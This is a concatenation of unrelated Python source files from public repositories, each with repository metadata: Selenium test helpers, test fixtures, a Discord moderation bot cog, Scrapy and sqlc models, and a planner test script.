element_text. Keeps checking until max number or retries self.retry is reached. :param xpath: :param element_text: """ #print("Verifying text " +element_text+" displayed at xpath "+locator) displayed_text = None for i in range(self.retry): print "Wait On:: Trial: " + str(i) + " Verifying text " + element_text + " displayed at xpath " + xpath self.wait_for_visible_by_xpath(xpath) try: text_on_page = self.store_visible_text_by_xpath(xpath) if element_text == text_on_page: print"Found text" displayed_text = text_on_page break except: pass time.sleep(1) try: text_on_page = self.store_visible_text_by_xpath(xpath) if element_text == text_on_page: print "Found text" displayed_text = text_on_page except AssertionError as e: self.verificationErrors.append(str(e)) print("Text displayed at xpath " + xpath + " is " + displayed_text) def send_keys_by_css_selector(self, css_selector, keys): if self.check_if_element_present_by_type("CSS_SELECTOR", css_selector) is not 0: raise UICheckException("Element by css selector not present:" + css_selector) if self.verify_element_visible_by_css_selector(css_selector) is not True: raise UICheckException("Element by css selector not visible:" + css_selector) print "Set: Element Type: CSS_SELECTOR, Element: " + css_selector + ", Keys: " + keys self.driver.find_element_by_css_selector(css_selector).clear() self.driver.find_element_by_css_selector(css_selector).send_keys(keys) return 0 def send_keys_by_xpath(self, xpath, keys): if self.check_if_element_present_by_type("XPATH", xpath) is not 0: raise UICheckException("Element by xpath not found :" + xpath) # if self.check_if_element_visible_by_type("XPATH", xpath) is not True: # raise UICheckException("Element by xpath not visible:" + xpath) print "Set: Element Type: XPATH, Element: " + xpath + ", Keys: " + keys self.driver.find_element_by_xpath(xpath).clear() self.driver.find_element_by_xpath(xpath).send_keys(keys) return 0 def send_keys_by_name(self, name, keys): if self.check_if_element_present_by_type("NAME", name) is not 0: raise UICheckException("Element by name not found:" + name) if self.verify_element_visible_by_name(name) is not True: raise UICheckException("Element by name not visible:" + name) print "Set: Element Type: NAME, Element: " + name + ", Keys: " + keys self.driver.find_element_by_name(name).clear() return 0 def store_visible_text_by_link_text(self, link_text): if self.check_if_element_present_by_type("LINK_TEXT", link_text) is not 0: raise UICheckException("Element by link text not present:" + link_text) if self.verify_element_visible_by_link_text(link_text) is not True: raise UICheckException("Element by link text not visible:" + link_text) print "Get Text: Element Type: LINK_TEXT, Element: " + link_text return self.driver.find_element_by_link_text(link_text).text def store_visible_text_by_id(self, this_id): if self.check_if_element_present_by_type("ID", this_id) is not 0: raise UICheckException("Element by id not present:" + this_id) if self.verify_element_visible_by_id(this_id) is not True: raise UICheckException("Element by id not visible:" + this_id) print "Get Text: Element Type: ID, Element: " + this_id return self.driver.find_element_by_id(this_id).text def store_visible_text_by_css_selector(self, css_selector): if self.check_if_element_present_by_type("CSS_SELECTOR", css_selector) is not 0: raise UICheckException("Element by css selector not present:" + css_selector) if self.verify_element_visible_by_css_selector(css_selector) is not True: raise UICheckException("Element by css selector not visible:" + css_selector) print "Get Text: Element Type: CSS_SELECTOR, Element: " + css_selector return self.driver.find_element_by_css_selector(css_selector).text def store_visible_text_by_xpath(self, xpath): if self.check_if_element_present_by_type("XPATH", xpath) is not 0: raise UICheckException("Element by xpath not present: " + xpath) # if self.check_if_element_visible_by_type("XPATH", xpath) is not True: # raise UICheckException("Element by xpath not visible:" + xpath) print "Get Text: Element Type: XPATH, Element: " + xpath return self.driver.find_element_by_xpath(xpath).text def store_visible_text_by_name(self, name): if self.check_if_element_present_by_type("NAME", name) is not 0: raise UICheckException("Element by name not present: " + name) if self.verify_element_visible_by_name(name) is not True: raise UICheckException("Element by name not visible:" + name) print "Click: Element Type: NAME, Element: " + name return self.driver.find_element_by_name(name).text def select_visible_text_by_id(self, this_id, visible_text): if self.check_if_element_present_by_type("ID", this_id) is not 0: raise UICheckException("Element by id not present: " + this_id) if self.verify_element_visible_by_id(this_id) is not True: raise UICheckException("Element by id not visible:" + this_id) print "Select: Element Type: ID, Element: " + this_id + ", Text: " + visible_text Select(self.driver.find_element_by_id(this_id)).select_by_visible_text(visible_text) return 0 def select_visible_text_by_css_selector(self, css_selector, visible_text): if self.check_if_element_present_by_type("CSS_SELECTOR", css_selector) is not 0: raise UICheckException("Element by css selector not present: " + css_selector) if self.verify_element_visible_by_css_selector(css_selector) is not True: raise UICheckException("Element by css selector not visible:" + css_selector) print "Select: Element Type: CSS_SELECTOR, Element: " + css_selector + ", Text: " + visible_text Select(self.driver.find_element_by_css_selector(css_selector)).select_by_visible_text(visible_text) return 0 def select_visible_text_by_xpath(self, xpath, visible_text): if self.check_if_element_present_by_type("XPATH", xpath) is not 0: raise UICheckException("Element by xpath not present: " + xpath) # if self.check_if_element_visible_by_type("XPATH", xpath) is not True: # raise UICheckException("Element by xpath not visible:" + xpath) print "Select: Element Type: XPATH, Element: " + xpath + ", Text: " + visible_text Select(self.driver.find_element_by_xpath(xpath)).select_by_visible_text(visible_text) return 0 def check_if_element_present_by_type(self, element_type, element): """ Checks if element is present using element type and its locator. Keeps checking until max number of trials self.retry are exhausted. :param element_type: :param element: :return: :raise: """ this_element_type = "" if element_type is "LINK_TEXT": this_element_type = By.LINK_TEXT elif element_type is "ID": this_element_type = By.ID elif element_type is "CSS_SELECTOR": this_element_type = By.CSS_SELECTOR elif element_type is "XPATH": this_element_type = By.XPATH elif element_type is "NAME": this_element_type = By.NAME for i in range(self.retry): print "Wait On:: Trial: " + str(i) + " Element Type: " + element_type + ", Element: " + element try: if self.driver.find_element(this_element_type, element): break except: pass #raise UICheckException("Time out") time.sleep(1) # else: # self.fail("timed out after "+`self.retry`+" seconds") try: self.driver.find_element(this_element_type, element) except AssertionError as e: self.verificationErrors.append(str(e)) print "TEST FAILED::: Wait On:: Element Type: " + element_type + ", Element: " + element raise UICheckException("Failed to find element of type " + element_type + element + " present") print "Found:: Element type: " + element_type + ", Element: " + element return 0

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b578a225507c278c1a5a4d107ea30edcef6a7614

55

py

Python

tests/roots/test-ext-autodoc/bug2437/autodoc_dummy_foo.py

samdoran/sphinx

4c91c038b220d07bbdfe0c1680af42fe897f342c

[ "BSD-2-Clause" ]

4,973

2015-01-03T15:44:00.000Z

2022-03-31T03:11:51.000Z

tests/roots/test-ext-autodoc/bug2437/autodoc_dummy_foo.py

samdoran/sphinx

4c91c038b220d07bbdfe0c1680af42fe897f342c

[ "BSD-2-Clause" ]

7,850

2015-01-02T08:09:25.000Z

2022-03-31T18:57:40.000Z

tests/roots/test-ext-autodoc/bug2437/autodoc_dummy_foo.py

samdoran/sphinx

4c91c038b220d07bbdfe0c1680af42fe897f342c

[ "BSD-2-Clause" ]

2,179

2015-01-03T15:26:53.000Z

2022-03-31T12:22:44.000Z

class Foo(object): """Dummy class Foo.""" pass

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4.428571

0.714286

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null

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5

b5a9fec11515638f6d3ebbceb4c5ec027915ce49

278

py

Python

debug_builds.py

nacitar/nx

93f533b05c125518839f3512d2380f1665893e51

[ "Apache-2.0" ]

null

debug_builds.py

nacitar/nx

93f533b05c125518839f3512d2380f1665893e51

[ "Apache-2.0" ]

null

debug_builds.py

nacitar/nx

93f533b05c125518839f3512d2380f1665893e51

[ "Apache-2.0" ]

null

#!/usr/bin/env python3 import new_environment new_environment.main(['--debug', 'build/native']) new_environment.main(['--debug', '--clang', 'build/clang']) new_environment.main(['--debug', '--mingw32', 'build/mingw32']) new_environment.main(['--debug', '--avr', 'build/avr'])

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0

null

0

1

0

5

b5b331c52376f75d497e8fcc01710ae2ce70294e

153

py

Python

gui_automation/detector.py

marcosboggia/gui_automation

2adabfa71b00945ada04e619c1a36b124c1dda66

[ "MIT" ]

10

2019-06-23T02:34:24.000Z

2022-01-09T09:35:32.000Z

gui_automation/detector.py

marcosboggia/gui_automation

2adabfa71b00945ada04e619c1a36b124c1dda66

[ "MIT" ]

1

2020-10-18T04:32:08.000Z

2020-10-18T22:04:04.000Z

gui_automation/detector.py

marcosboggia/gui_automation

2adabfa71b00945ada04e619c1a36b124c1dda66

[ "MIT" ]

1

2021-07-23T06:09:29.000Z

# Made by Marcos Boggia from abc import ABC, abstractmethod class Detector(ABC): @abstractmethod def detect(self, *args): pass

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null

0

1

0

1

0

5

a91b9859bbffe2001f6b896a010de7edb3a7e80b

3,071

py

Python

phyluce/tests/test_alignment.py

faircloth-lab/phyluce

ae6801a7e749be2fa38513db9846046241d0fd7a

[ "BSD-3-Clause" ]

63

2015-03-16T15:10:17.000Z

2022-02-16T12:36:23.000Z

phyluce/tests/test_alignment.py

faircloth-lab/phyluce

ae6801a7e749be2fa38513db9846046241d0fd7a

[ "BSD-3-Clause" ]

253

2015-01-26T13:03:23.000Z

2022-03-15T19:03:05.000Z

phyluce/tests/test_alignment.py

faircloth-lab/phyluce

ae6801a7e749be2fa38513db9846046241d0fd7a

[ "BSD-3-Clause" ]

45

2015-01-26T13:09:50.000Z

2021-05-24T04:20:30.000Z

#!/usr/bin/env python # -*- coding: utf-8 -*- """ (c) 2021 Brant Faircloth || http://faircloth-lab.org/ All rights reserved. This code is distributed under a 3-clause BSD license. Please see LICENSE.txt for more information. Created on 2021-02-13 T16:12:15-06:00 """ import os import re import glob import shutil import subprocess import pytest from Bio import AlignIO import pdb @pytest.fixture(scope="module") def o_dir(request): directory = os.path.join( request.config.rootdir, "phyluce", "tests", "test-observed" ) os.mkdir(directory) def clean(): shutil.rmtree(directory) request.addfinalizer(clean) return directory @pytest.fixture(scope="module") def e_dir(request): directory = os.path.join( request.config.rootdir, "phyluce", "tests", "test-expected" ) return directory def test_seqcap_align_mafft_untrim(o_dir, e_dir, request): program = "bin/align/phyluce_align_seqcap_align" output = os.path.join(o_dir, "mafft") cmd = [ os.path.join(request.config.rootdir, program), "--input", os.path.join(e_dir, "taxon-set.incomplete.fasta"), "--output", output, "--taxa", "4", "--aligner", "mafft", "--output-format", "nexus", "--no-trim", "--cores", "1", ] proc = subprocess.Popen( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE ) stdout, stderr = proc.communicate() assert proc.returncode == 0, print("""{}""".format(stderr.decode("utf-8"))) output_files = glob.glob(os.path.join(output, "*")) assert output_files, "There are no output files" for output_file in output_files: name = os.path.basename(output_file) expected_file = os.path.join(e_dir, "mafft-no-trim", name) observed = open(output_file).read() expected = open(expected_file).read() assert observed == expected def test_seqcap_align_muscle_untrim(o_dir, e_dir, request): program = "bin/align/phyluce_align_seqcap_align" output = os.path.join(o_dir, "muscle") cmd = [ os.path.join(request.config.rootdir, program), "--input", os.path.join(e_dir, "taxon-set.incomplete.fasta"), "--output", output, "--taxa", "4", "--aligner", "muscle", "--output-format", "nexus", "--no-trim", "--cores", "1", ] proc = subprocess.Popen( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE ) stdout, stderr = proc.communicate() assert proc.returncode == 0, print("""{}""".format(stderr.decode("utf-8"))) output_files = glob.glob(os.path.join(output, "*")) assert output_files, "There are no output files" for output_file in output_files: name = os.path.basename(output_file) expected_file = os.path.join(e_dir, "muscle-no-trim", name) observed = open(output_file).read() expected = open(expected_file).read() assert observed == expected

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0.022727

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null

0

1

0

null

0

5

a9870740497b87b334e1d726e4b4aba668ee40f3

613

py

Python

aspect/sqlalchemy/languages/aql/Command.py

jorgeromanespino/PyAspect

5aef25a2951989a57294bd86779845c1ef331a15

[ "Apache-2.0" ]

1

2019-12-12T11:11:21.000Z

aspect/sqlalchemy/languages/aql/Command.py

jorgeromanespino/PyAspect

5aef25a2951989a57294bd86779845c1ef331a15

[ "Apache-2.0" ]

null

aspect/sqlalchemy/languages/aql/Command.py

jorgeromanespino/PyAspect

5aef25a2951989a57294bd86779845c1ef331a15

[ "Apache-2.0" ]

1

2019-12-03T08:54:20.000Z

# from aspect.core.languages.aql.translators.Command import Command as CoreCommand # class Command(CoreCommand): # def __init__(self, value=None, result=None, symbol_table=None, children=[], parent={}, interpreter=None): super().__init__(value, result, symbol_table, children, parent, interpreter) # TODO def push_context(self, context): raise NotImplementedError # TODO def pop_context(self): raise NotImplementedError # TODO def peek_context(self, level): raise NotImplementedError # TODO def execute(self): return self.result

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null

0

1

0

1

0

1

0

5

a9951a03f5ac16599473ed5824ebfbdc569fbd1c

42

py

Python

wikipediabase/__main__.py

fakedrake/WikipediaBase

ab5aa92786bddcd7942ad3e3f1f4e433575ba3fb

[ "Apache-2.0" ]

1

2017-11-26T17:57:59.000Z

wikipediabase/__main__.py

fakedrake/WikipediaBase

ab5aa92786bddcd7942ad3e3f1f4e433575ba3fb

[ "Apache-2.0" ]

34

2015-03-23T10:28:59.000Z

2021-12-13T20:16:48.000Z

wikipediabase/__main__.py

fakedrake/WikipediaBase

ab5aa92786bddcd7942ad3e3f1f4e433575ba3fb

[ "Apache-2.0" ]

2

2015-05-17T00:56:45.000Z

2015-06-27T22:10:59.000Z

from wikipediabase.cli import main main()

14

34

0.809524

6

42

5.666667

0.833333

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0.119048

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0.918919

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null

0

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0

1

0

5

8d28d792cc85c8a157a05b595a2850130c95b662

95

py

Python

ha_config/custom_components/lan_smartthings/light.py

bogusfocused/ha_lan_smartthings

81ae2f1305e75fa418afc454095167610724ab37

[ "MIT" ]

2

2021-12-22T02:16:48.000Z

2022-01-26T07:02:03.000Z

ha_config/custom_components/lan_smartthings/light.py

bogusfocused/ha_lan_smartthings

81ae2f1305e75fa418afc454095167610724ab37

[ "MIT" ]

null

ha_config/custom_components/lan_smartthings/light.py

bogusfocused/ha_lan_smartthings

81ae2f1305e75fa418afc454095167610724ab37

[ "MIT" ]

null

"""Support for lights through the SmartThings cloud API.""" from .smartthings.light import *

31.666667

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1

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true

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null

0

1

0

1

0

1

0

5

8d37d4dfb991d516d9bdb65c8b809327633e532a

4,984

py

Python

Discord Bots/Robo Wizzz/cogs/mod.py

LUNA761/Code-Archive

c455ca1b4faa230fbbd86c4222c1589ddb0df964

[ "MIT" ]

1

2021-10-04T08:30:04.000Z

Discord Bots/Robo Wizzz/cogs/mod.py

LUNA761/Code-Archive

c455ca1b4faa230fbbd86c4222c1589ddb0df964

[ "MIT" ]

null

Discord Bots/Robo Wizzz/cogs/mod.py

LUNA761/Code-Archive

c455ca1b4faa230fbbd86c4222c1589ddb0df964

[ "MIT" ]

2

2022-01-06T19:07:19.000Z

2022-01-07T14:52:15.000Z

import discord, time, asyncio, os, random, json from discord.ext import commands, tasks from discord.ext.commands import has_permissions, cooldown, MissingPermissions, check from discord.utils import get from termcolor import colored class App(commands.Cog): def __init__(self, client): self.client = client print("Moderation "+colored('Running', 'green')) @commands.command(aliases=['clear']) @has_permissions(manage_messages=True) async def purge(self, ctx, limit : int = 2): try: x = int(limit) except: await ctx.send("Thats not a number!") return await ctx.channel.purge(limit = limit) msg = await ctx.send(f"Cleared by {ctx.author.mention}") await asyncio.sleep(2) await msg.delete() @purge.error async def purge_error(self, ctx, error): if isinstance(error, commands.MissingPermissions): embed=discord.Embed(title="This command can be used only by members who moderate the server.", color=0xff0000) embed.set_author(name="Hey! You are not allowed to do that!") embed.set_thumbnail(url='https://images-ext-2.discordapp.net/external/N8LpKSOO52iNCGjQQ6yJOqlW89RJkzSbDSNjOOa_mVg/%3Fwidth%3D427%26height%3D427/https/media.discordapp.net/attachments/798968646336249928/816351655812792410/kKMxMuzufRPMRxioYgWq_XylZQ1cP0nJ89Za3Bo0VxNGypkybermjXlzOhjW-gCEuT675G4cz_CBDo5Db7Qow5sUuR70FUlXVwag.png?width=300&height=300') embed.set_footer(text="Robo Wizzz Moderation.") await ctx.send(embed=embed) else: raise error @commands.command(aliases=['k']) @has_permissions(kick_members=True) async def kick(self, ctx, member : discord.Member, *, reason = "No reason has been provided by the Moderator."): name = member.name await member.kick(reason=reason) embed=discord.Embed(title=f"Reason: {reason}", description="ID: 1828392010192", color=0x24a800) embed.set_author(name=f"{name} has been kicked from the server.") embed.set_thumbnail(url='https://media.discordapp.net/attachments/811227367635681321/816702594361458708/woman-s-boot-emoji-clipart-sm.png') embed.set_footer(text="Robo Wizzz Moderation.") await ctx.send(embed=embed) @kick.error async def kick_error(self, ctx, error): if isinstance(error, commands.MissingPermissions): embed=discord.Embed(title="This command can be used only by members who moderate the server.", color=0xff0000) embed.set_author(name="Hey! You are not allowed to do that!") embed.set_thumbnail(url='https://images-ext-2.discordapp.net/external/N8LpKSOO52iNCGjQQ6yJOqlW89RJkzSbDSNjOOa_mVg/%3Fwidth%3D427%26height%3D427/https/media.discordapp.net/attachments/798968646336249928/816351655812792410/kKMxMuzufRPMRxioYgWq_XylZQ1cP0nJ89Za3Bo0VxNGypkybermjXlzOhjW-gCEuT675G4cz_CBDo5Db7Qow5sUuR70FUlXVwag.png?width=300&height=300') embed.set_footer(text="Robo Wizzz Moderation.") await ctx.send(embed=embed) elif isinstance(error, commands.CommandInvokeError): await ctx.send(f"❌ Hey, {ctx.author.name} I can't cannot kick this member!") else: raise error @commands.command(aliases=['b']) @has_permissions(ban_members=True) async def ban(self, ctx, member : discord.Member, *, reason = "No reason has been provided by the Moderator."): name = member.name await member.ban(reason=reason) embed=discord.Embed(title=f"Reason: {reason}", description="ID: 1828392010192", color=0x24a800) embed.set_author(name=f"{name} has been banned from the server.") embed.set_thumbnail(url='https://media.discordapp.net/attachments/811227367635681321/816702594361458708/woman-s-boot-emoji-clipart-sm.png') embed.set_footer(text="Robo Wizzz Moderation.") await ctx.send(embed=embed) @ban.error async def ban_error(self, ctx, error): if isinstance(error, commands.MissingPermissions): embed=discord.Embed(title="This command can be used only by members who moderate the server.", color=0xff0000) embed.set_author(name="Hey! You are not allowed to do that!") embed.set_thumbnail(url='https://images-ext-2.discordapp.net/external/N8LpKSOO52iNCGjQQ6yJOqlW89RJkzSbDSNjOOa_mVg/%3Fwidth%3D427%26height%3D427/https/media.discordapp.net/attachments/798968646336249928/816351655812792410/kKMxMuzufRPMRxioYgWq_XylZQ1cP0nJ89Za3Bo0VxNGypkybermjXlzOhjW-gCEuT675G4cz_CBDo5Db7Qow5sUuR70FUlXVwag.png?width=300&height=300') embed.set_footer(text="Robo Wizzz Moderation.") await ctx.send(embed=embed) elif isinstance(error, commands.CommandInvokeError): await ctx.send(f"❌ Hey, {ctx.author.mention} I can't cannot ban this member!") else: raise error def setup(client): client.add_cog(App(client))

56.636364

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0.708066

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4,984

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0.034364

0.030928

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0.752005

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4,984

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0

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false

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0.012987

0

null

0

1

0

null

0

5

8d63ca0a2d02b18eaa751f641fe0104af96609fc

132

py

Python

cold_ray_norilsk/cold_ray_norilsk/src/game_model/entity/person/base_person.py

DeadSonger/cold_ray_norilsk

ad6d5df4eea489b71c8224c7d3cda6c0f0b34eac

[ "CC0-1.0" ]

null

cold_ray_norilsk/cold_ray_norilsk/src/game_model/entity/person/base_person.py

DeadSonger/cold_ray_norilsk

ad6d5df4eea489b71c8224c7d3cda6c0f0b34eac

[ "CC0-1.0" ]

2

2021-04-20T09:11:43.000Z

2021-04-24T22:49:49.000Z

cold_ray_norilsk/cold_ray_norilsk/src/game_model/entity/person/base_person.py

DeadSonger/cold_ray_norilsk

ad6d5df4eea489b71c8224c7d3cda6c0f0b34eac

[ "CC0-1.0" ]

null

from abc import ABC from cold_ray_norilsk.src.game_model.entity.base_entity import BEntity class BPerson(BEntity, ABC): pass

16.5

70

0.795455

21

132

4.809524

0.714286

0

0.143939

132

7

71

18.857143

0.893805

0

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0

true

0.25

0.5

0

0.75

0

1

0

null

0

1

0

null

0

1

0

5

8d750ae281e98f737111cd5c815de36b750c2162

146

py

Python

ontario/items.py

zanadaniel/ontario-scraper

c588fcbd10e99254988eec038a32ab22c00b5882

[ "MIT" ]

null

ontario/items.py

zanadaniel/ontario-scraper

c588fcbd10e99254988eec038a32ab22c00b5882

[ "MIT" ]

null

ontario/items.py

zanadaniel/ontario-scraper

c588fcbd10e99254988eec038a32ab22c00b5882

[ "MIT" ]

null

from scrapy import Item from scrapy import Field class Member(Item): member_id = Field() member_name = Field() member_trade = Field()

20.857143

26

0.705479

20

146

5

0.5

0.2

0.32

0

0.212329

146

7

26

20.857143

0.869565

0

1

0

false

0

0.333333

0

1

0

1

0

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0

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0

1

0

null

0

1

0

1

0

5

8d9fd2fb5d037a7c718660ae2a4a213a616f7370

108

py

Python

internal/endtoend/testdata/exec_rows/python_postgresql/python/models.py

ShivamSarodia/sqlc

194065e223a53d19219efb290a53b45fcd036a6b

[ "MIT" ]

5,153

2019-08-19T19:24:06.000Z

2022-03-31T22:26:53.000Z

internal/endtoend/testdata/exec_rows/python_postgresql/python/models.py

ShivamSarodia/sqlc

194065e223a53d19219efb290a53b45fcd036a6b

[ "MIT" ]

871

2019-08-19T02:20:57.000Z

2022-03-31T21:03:04.000Z

internal/endtoend/testdata/exec_rows/python_postgresql/python/models.py

ShivamSarodia/sqlc

194065e223a53d19219efb290a53b45fcd036a6b

[ "MIT" ]

377

2019-09-04T07:27:09.000Z

2022-03-31T21:54:45.000Z

# Code generated by sqlc. DO NOT EDIT. import dataclasses @dataclasses.dataclass() class Bar: id: int

13.5

38

0.722222

15

108

5.2

0.933333

0

0.194444

108

7

39

15.428571

0.896552

0.333333

0

1

0

1

0

true

0

0.25

0

0.75

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

5

a5e463d0cec6edf5639450a8eb67193837568a3c

78

py

Python

dlib-scikit/dlib_scikit_test.py

datmo/docker-files

adf99782fed8cd082a456913a27f7a31dd824e73

[ "MIT" ]

20

2017-08-12T23:31:45.000Z

2022-03-14T20:03:19.000Z

dlib-scikit/dlib_scikit_test.py

asuprem/docker-files

adf99782fed8cd082a456913a27f7a31dd824e73

[ "MIT" ]

null

dlib-scikit/dlib_scikit_test.py

asuprem/docker-files

adf99782fed8cd082a456913a27f7a31dd824e73

[ "MIT" ]

10

2018-11-30T03:05:49.000Z

2021-01-13T07:20:34.000Z

import dlib import sklearn print(dlib.__version__) print(sklearn.__version__)

15.6

26

0.846154

10

78

5.8

0.5

0

0.076923

78

5

26

15.6

0.805556

0

1

0

true

0

0.5

0

0.5

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

a5efd3fab26876d131f780e86c282c34862153f2

173

py

Python

python/testData/refactoring/rename/renameLocalWithComprehension_after.py

jnthn/intellij-community

8fa7c8a3ace62400c838e0d5926a7be106aa8557

[ "Apache-2.0" ]

2

2019-04-28T07:48:50.000Z

2020-12-11T14:18:08.000Z

python/testData/refactoring/rename/renameLocalWithComprehension_after.py

jnthn/intellij-community

8fa7c8a3ace62400c838e0d5926a7be106aa8557

[ "Apache-2.0" ]

173

2018-07-05T13:59:39.000Z

2018-08-09T01:12:03.000Z

python/testData/refactoring/rename/renameLocalWithComprehension_after.py

jnthn/intellij-community

8fa7c8a3ace62400c838e0d5926a7be106aa8557

[ "Apache-2.0" ]

2

2020-03-15T08:57:37.000Z

2020-04-07T04:48:14.000Z

parameter_lists_copy = [bar for bar in parameter_lists] for bar in parameter_lists_copy: if param_index >= len(bar.GetParameters()): parameter_lists.remove(bar)

34.6

55

0.751445

25

173

4.92

0.48

0.455285

0.292683

0.276423

0.357724

0

0.16185

173

4

56

43.25

0.848276

0

1

0

false

0

1

0

null

1

0

1

0

null

0

5

93b6a9683ec441f726af767163bf866632ddbf4e

5,099

py

Python

TESTS.py

LRHammond/pv4dsrl

7053ea392f9ddbf3672a0ac348d61abe6b7264d9

[ "MIT" ]

null

TESTS.py

LRHammond/pv4dsrl

7053ea392f9ddbf3672a0ac348d61abe6b7264d9

[ "MIT" ]

2

2020-03-24T16:31:16.000Z

2020-03-31T00:56:57.000Z

TESTS.py

LRHammond/pv4dsrl

7053ea392f9ddbf3672a0ac348d61abe6b7264d9

[ "MIT" ]

null

from pydc import HYPE hype = HYPE("models/perfect.pl", 100) result = hype.plan_step( "[observation(x_pos(obj0)) ~= 0, observation(y_pos(obj0)) ~= 0, observation(x_size(obj0)) ~= small, observation(y_size(obj0)) ~= small, observation(colour(obj0)) ~= wall, observation(shape(obj0)) ~= square, observation(nothing(obj0)) ~= no, observation(x_pos(obj1)) ~= 1, observation(y_pos(obj1)) ~= 0, observation(x_size(obj1)) ~= small, observation(y_size(obj1)) ~= small, observation(colour(obj1)) ~= wall, observation(shape(obj1)) ~= square, observation(nothing(obj1)) ~= no, observation(x_pos(obj2)) ~= 2, observation(y_pos(obj2)) ~= 0, observation(x_size(obj2)) ~= small, observation(y_size(obj2)) ~= small, observation(colour(obj2)) ~= wall, observation(shape(obj2)) ~= square, observation(nothing(obj2)) ~= no, observation(x_pos(obj3)) ~= 3, observation(y_pos(obj3)) ~= 0, observation(x_size(obj3)) ~= small, observation(y_size(obj3)) ~= small, observation(colour(obj3)) ~= wall, observation(shape(obj3)) ~= square, observation(nothing(obj3)) ~= no, observation(x_pos(obj4)) ~= 4, observation(y_pos(obj4)) ~= 0, observation(x_size(obj4)) ~= small, observation(y_size(obj4)) ~= small, observation(colour(obj4)) ~= wall, observation(shape(obj4)) ~= square, observation(nothing(obj4)) ~= no, observation(x_pos(obj5)) ~= 0, observation(y_pos(obj5)) ~= 1, observation(x_size(obj5)) ~= small, observation(y_size(obj5)) ~= small, observation(colour(obj5)) ~= wall, observation(shape(obj5)) ~= square, observation(nothing(obj5)) ~= no, observation(x_pos(obj6)) ~= 4, observation(y_pos(obj6)) ~= 1, observation(x_size(obj6)) ~= small, observation(y_size(obj6)) ~= small, observation(colour(obj6)) ~= wall, observation(shape(obj6)) ~= square, observation(nothing(obj6)) ~= no, observation(x_pos(obj7)) ~= 0, observation(y_pos(obj7)) ~= 2, observation(x_size(obj7)) ~= small, observation(y_size(obj7)) ~= small, observation(colour(obj7)) ~= wall, observation(shape(obj7)) ~= square, observation(nothing(obj7)) ~= no, observation(x_pos(obj8)) ~= 3, observation(y_pos(obj8)) ~= 2, observation(x_size(obj8)) ~= small, observation(y_size(obj8)) ~= small, observation(colour(obj8)) ~= wall, observation(shape(obj8)) ~= square, observation(nothing(obj8)) ~= no, observation(x_pos(obj9)) ~= 4, observation(y_pos(obj9)) ~= 2, observation(x_size(obj9)) ~= small, observation(y_size(obj9)) ~= small, observation(colour(obj9)) ~= wall, observation(shape(obj9)) ~= square, observation(nothing(obj9)) ~= no, observation(x_pos(obj10)) ~= 0, observation(y_pos(obj10)) ~= 3, observation(x_size(obj10)) ~= small, observation(y_size(obj10)) ~= small, observation(colour(obj10)) ~= wall, observation(shape(obj10)) ~= square, observation(nothing(obj10)) ~= no, observation(x_pos(obj11)) ~= 4, observation(y_pos(obj11)) ~= 3, observation(x_size(obj11)) ~= small, observation(y_size(obj11)) ~= small, observation(colour(obj11)) ~= wall, observation(shape(obj11)) ~= square, observation(nothing(obj11)) ~= no, observation(x_pos(obj12)) ~= 0, observation(y_pos(obj12)) ~= 4, observation(x_size(obj12)) ~= small, observation(y_size(obj12)) ~= small, observation(colour(obj12)) ~= wall, observation(shape(obj12)) ~= square, observation(nothing(obj12)) ~= no, observation(x_pos(obj13)) ~= 1, observation(y_pos(obj13)) ~= 4, observation(x_size(obj13)) ~= small, observation(y_size(obj13)) ~= small, observation(colour(obj13)) ~= wall, observation(shape(obj13)) ~= square, observation(nothing(obj13)) ~= no, observation(x_pos(obj14)) ~= 2, observation(y_pos(obj14)) ~= 4, observation(x_size(obj14)) ~= small, observation(y_size(obj14)) ~= small, observation(colour(obj14)) ~= wall, observation(shape(obj14)) ~= square, observation(nothing(obj14)) ~= no, observation(x_pos(obj15)) ~= 3, observation(y_pos(obj15)) ~= 4, observation(x_size(obj15)) ~= small, observation(y_size(obj15)) ~= small, observation(colour(obj15)) ~= wall, observation(shape(obj15)) ~= square, observation(nothing(obj15)) ~= no, observation(x_pos(obj16)) ~= 4, observation(y_pos(obj16)) ~= 4, observation(x_size(obj16)) ~= small, observation(y_size(obj16)) ~= small, observation(colour(obj16)) ~= wall, observation(shape(obj16)) ~= square, observation(nothing(obj16)) ~= no, observation(x_pos(obj17)) ~= 1, observation(y_pos(obj17)) ~= 3, observation(x_size(obj17)) ~= small, observation(y_size(obj17)) ~= small, observation(colour(obj17)) ~= hole, observation(shape(obj17)) ~= square, observation(nothing(obj17)) ~= no, observation(x_pos(obj18)) ~= 3, observation(y_pos(obj18)) ~= 3, observation(x_size(obj18)) ~= small, observation(y_size(obj18)) ~= small, observation(colour(obj18)) ~= goal, observation(shape(obj18)) ~= square, observation(nothing(obj18)) ~= no, observation(x_pos(obj19)) ~= 1, observation(y_pos(obj19)) ~= 2, observation(x_size(obj19)) ~= small, observation(y_size(obj19)) ~= small, observation(colour(obj19)) ~= agent, observation(shape(obj19)) ~= square, observation(nothing(obj19)) ~= no]", 100, max_horizon=10, used_horizon=10, use_abstraction=False ) best_action = result["best_action"] stop = result["stop"] print best_action

364.214286

4,858

0.710335

675

5,099

5.237037

0.091852

0.135785

0.084866

0.118812

0

0.056107

0.091194

5,099

13

4,859

392.230769

0.706733

0

0.083333

0.957639

0.692489

0

null

0

0.083333

null

0.083333

0

null

0

1

0

1

null

0

1

0

5

93cb6e16c9bfce4696850a9b7f4f766113cf7cfa

40

py

Python

nonemptystr/exceptions.py

nekonoshiri/nonemptystr

0a275c96391b1cc4cada19e5d9354b61e7b7a625

[ "MIT" ]

null

nonemptystr/exceptions.py

nekonoshiri/nonemptystr

0a275c96391b1cc4cada19e5d9354b61e7b7a625

[ "MIT" ]

2

2021-10-06T07:59:44.000Z

2021-10-06T08:39:27.000Z

nonemptystr/exceptions.py

nekonoshiri/nonemptystr

0a275c96391b1cc4cada19e5d9354b61e7b7a625

[ "MIT" ]

null

class EmptyString(ValueError): pass

13.333333

30

0.75

4

40

7.5

1

0

0.175

40

2

31

20

0.909091

0

1

0

true

0.5

0

0.5

0

1

0

null

0

1

0

null

0

1

0

5

93d7356035f886f153932085ef714c53cf645283

262

py

Python

core/admin.py

remiberthoz/teachers-rubrics

355a282e8d4e91e343eef28aaa9b1214b03d3399

[ "MIT" ]

null

core/admin.py

remiberthoz/teachers-rubrics

355a282e8d4e91e343eef28aaa9b1214b03d3399

[ "MIT" ]

null

core/admin.py

remiberthoz/teachers-rubrics
